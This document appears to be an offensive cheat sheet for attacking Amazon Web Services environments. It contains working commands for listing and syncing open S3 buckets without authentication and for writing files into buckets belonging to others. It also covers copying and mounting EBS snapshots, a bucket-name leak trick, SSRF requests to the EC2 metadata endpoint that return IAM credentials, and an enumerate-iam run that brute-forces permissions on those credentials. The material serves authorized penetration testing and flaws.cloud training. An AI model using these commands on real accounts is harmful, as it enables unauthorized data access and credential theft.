- Pacu - The AWS exploitation framework, designed for testing the security of Amazon Web Services environments
- Bucket Finder - Search for readable buckets and list all the files in them
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2 ./bucket_finder.rb my_words ./bucket_finder.rb --region ie my_words US Standard = http://s3.amazonaws.com Ireland = http://s3-eu-west-1.amazonaws.com Northern California = http://s3-us-west-1.amazonaws.com Singapore = http://s3-ap-southeast-1.amazonaws.com Tokyo = http://s3-ap-northeast-1.amazonaws.com ./bucket_finder.rb --download --region ie my_words ./bucket_finder.rb --log-file bucket.out my_words
- Boto3 - Amazon Web Services (AWS) SDK for Python
import boto3 # Create an S3 client s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP3RKREDACTED',aws_secret_access_key='igH8yFmmpMbnkcUaCqXJIRIozKVaREDACTED',region_name='us-west-1') try: result = s3.list_buckets() print(result) except Exception as e: print(e)
Prerequisites, at least you need awscli
sudo apt install awscli
You can get your credential here https://console.aws.amazon.com/iam/home?#/security_credential but you need an aws account, free tier account : https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/
aws configure
AWSAccessKeyId=[ENTER HERE YOUR KEY]
AWSSecretKey=[ENTER HERE YOUR KEY]
aws configure --profile nameofprofile
then you can use --profile nameofprofile in the aws command.
Alternatively you can use environment variables instead of creating a profile.
export AWS_ACCESS_KEY_ID=ASIAZ[...]PODP56
export AWS_SECRET_ACCESS_KEY=fPk/Gya[...]4/j5bSuhDQ
export AWS_SESSION_TOKEN=FQoGZXIvYXdzE[...]8aOK4QU=
By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_name]/, you can browse open buckets if you know their names
http://s3.amazonaws.com/[bucket_name]/
http://[bucket_name].s3.amazonaws.com/
http://flaws.cloud.s3.amazonaws.com/
Their names are also listed if the listing is enabled.
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>adobe-REDACTED-REDACTED-REDACTED</Name>
Alternatively you can extract the name of inside-site s3 bucket with %C0
. (Trick from https://twitter.com/0xmdv/status/1065581916437585920)
http://example.com/resources/id%C0
eg: http://redacted/avatar/123%C0
aws s3 ls s3://targetbucket --no-sign-request --region insert-region-here
aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
You can get the region with a dig and nslookup
$ dig flaws.cloud
;; ANSWER SECTION:
flaws.cloud. 5 IN A 52.218.192.11
$ nslookup 52.218.192.11
Non-authoritative answer:
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
aws s3 cp local.txt s3://some-bucket/remote.txt --acl authenticated-read
aws s3 cp login.html s3://$bucketName --grants read=uri=http://acs.amazonaws.com/groups/global/AllUsers
aws s3 mv test.txt s3://hackerone.marketing
FAIL : "move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error (AccessDenied) occurred when calling the PutObject operation: Access Denied."
aws s3 mv test.txt s3://hackerone.files
SUCCESS : "move: ./test.txt to s3://hackerone.files/test.txt"
aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-west-2
Use --no-sign
for un-authenticated check.
aws s3 ls s3://<bucketname> --recursive | grep -v -E "(Bucket: |Prefix: |LastWriteTime|^$|--)" | awk 'BEGIN {total=0}{total+=$3}END{print total/1024/1024" MB"}'
aws --profile flaws sts get-caller-identity
"Account": "XXXX26262029",
aws --profile flaws ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2
"SnapshotId": "snap-XXXX342abd1bdcb89",
Create a volume using snapshot
aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-XXXX342abd1bdcb89
In Aws Console -> EC2 -> New Ubuntu
chmod 400 YOUR_KEY.pem
ssh -i YOUR_KEY.pem ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com
Mount the volume
lsblk
sudo file -s /dev/xvda1
sudo mount /dev/xvda1 /mnt
Amazon exposes an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting :
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE will return the AccessKeyID, SecretAccessKey, and Token
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
Enumerate the permissions associated with AWS credential set with enumerate-iam
git clone git@github.com:andresriancho/enumerate-iam.git
cd enumerate-iam/
pip install -r requirements.txt
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
2019-05-10 15:57:58,447 - 21345 - [INFO] Starting permission enumeration for access-key-id "AKIA..."
2019-05-10 15:58:01,532 - 21345 - [INFO] Run for the hills, get_account_authorization_details worked!
2019-05-10 15:58:01,537 - 21345 - [INFO] -- {
"RoleDetailList": [
{
"Tags": [],
"AssumeRolePolicyDocument": {
"Version": "2008-10-17",
"Statement": [
{
...
2019-05-10 15:58:26,709 - 21345 - [INFO] -- gamelift.list_builds() worked!
2019-05-10 15:58:26,850 - 21345 - [INFO] -- cloudformation.list_stack_sets() worked!
2019-05-10 15:58:26,982 - 21345 - [INFO] -- directconnect.describe_locations() worked!
2019-05-10 15:58:27,021 - 21345 - [INFO] -- gamelift.describe_matchmaking_rule_sets() worked!
2019-05-10 15:58:27,311 - 21345 - [INFO] -- sqs.list_queues() worked!
- There's a Hole in 1,951 Amazon S3 Buckets - Mar 27, 2013 - Rapid7 willis
- Bug Bounty Survey - AWS Basic test
- flaws.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route
- flaws2.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route
- Guardzilla video camera hardcoded AWS credential - 0dayallday.org
- AWS PENETRATION TESTING PART 1. S3 BUCKETS - VirtueSecurity
- AWS PENETRATION TESTING PART 2. S3, IAM, EC2 - VirtueSecurity
- A Technical Analysis of the Capital One Hack - CloudSploit - Aug 2 2019